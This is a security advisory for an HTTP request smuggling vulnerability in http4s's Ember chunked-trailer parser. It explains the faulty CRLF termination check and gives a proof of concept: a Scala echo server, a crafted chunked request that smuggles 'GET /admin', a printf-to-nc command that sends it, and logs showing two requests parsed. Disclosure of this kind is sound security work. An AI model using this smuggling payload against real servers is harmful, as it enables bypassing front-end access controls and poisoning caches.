CVE-2025-59822: Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section

Summary

http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to:

• Bypass front-end servers security controls
• Launch targeted attacks against active users
• Poison web caches

Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.

Details

The HTTP chunked message parser, after parsing the last body chunk, calls parseTrailers (ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142). This method parses the trailer section using Parser.parse, where the issue originates.

parse has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with state=false looking for the header name till reaching the condition else if (current == lf && (idx > 0 && message(idx - 1) == cr)) that sets complete=true even if no \r\n\r\n is found.

if (current == colon) {
  state = true // set state to check for header value
  name = new String(message, start, idx - start) // extract name string
  start = idx + 1 // advance past colon for next start

  // TODO: This if clause may not be necessary since the header value parser trims
  if (message.size > idx + 1 && message(idx + 1) == space) {
    start += 1 // if colon is followed by space advance again
    idx += 1 // double advance index here to skip the space
  }
  // double CRLF condition - Termination of headers
} else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check
  complete = true // completed terminate loop
}

The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.

PoC

Start a simple webserver that echoes the received requests:

import cats.effect._
import cats.implicits._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.ember.server.EmberServerBuilder
import org.http4s.server.Router
import org.http4s.server.middleware.RequestLogger
import org.typelevel.log4cats.LoggerFactory
import org.typelevel.log4cats.slf4j.Slf4jFactory
import com.comcast.ip4s._

object ExploitServer extends IOApp {

  implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]

  val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {
    case req @ _ =>
      for {
        bodyStr <- req.bodyText.compile.string
        method = req.method.name
        uri = req.uri.toString()
        version = req.httpVersion.toString
        headers = req.headers.headers.map { header =>
          s"${header.name.toString.toLowerCase}: ${header.value}"
        }.mkString("\n")
        
        responseText = s"""$method $uri $version
$headers

$bodyStr

"""
        result <- Ok(responseText)
      } yield result
  }

  val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(
    Router("/" -> echoService).orNotFound
  )

  override def run(args: List[String]): IO[ExitCode] = {
    EmberServerBuilder
      .default[IO]
      .withHost(ipv4"0.0.0.0")
      .withPort(port"8080")
      .withHttpApp(httpApp)
      .build
      .use { server =>
        IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never
      }
      .as(ExitCode.Success)
  }
}

build.sbt

ThisBuild / scalaVersion := "2.13.15"

val http4sVersion = "0.23.30"

lazy val root = (project in file("."))
  .settings(
    name := "http4s-echo-server",
    libraryDependencies ++= Seq(
      "org.http4s" %% "http4s-ember-server" % http4sVersion,
      "org.http4s" %% "http4s-dsl" % http4sVersion,
      "org.http4s" %% "http4s-circe" % http4sVersion,
      "ch.qos.logback" % "logback-classic" % "1.4.11",
      "org.typelevel" %% "log4cats-slf4j" % "2.6.0",
    )
  )

Send the following request:

POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

2
aa
0
Test: smuggling
a
GET /admin HTTP/1.1
Host: localhost

You can do that with the following command: printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080

You will see that the request is interpreted as two separate requests

16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa"
16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)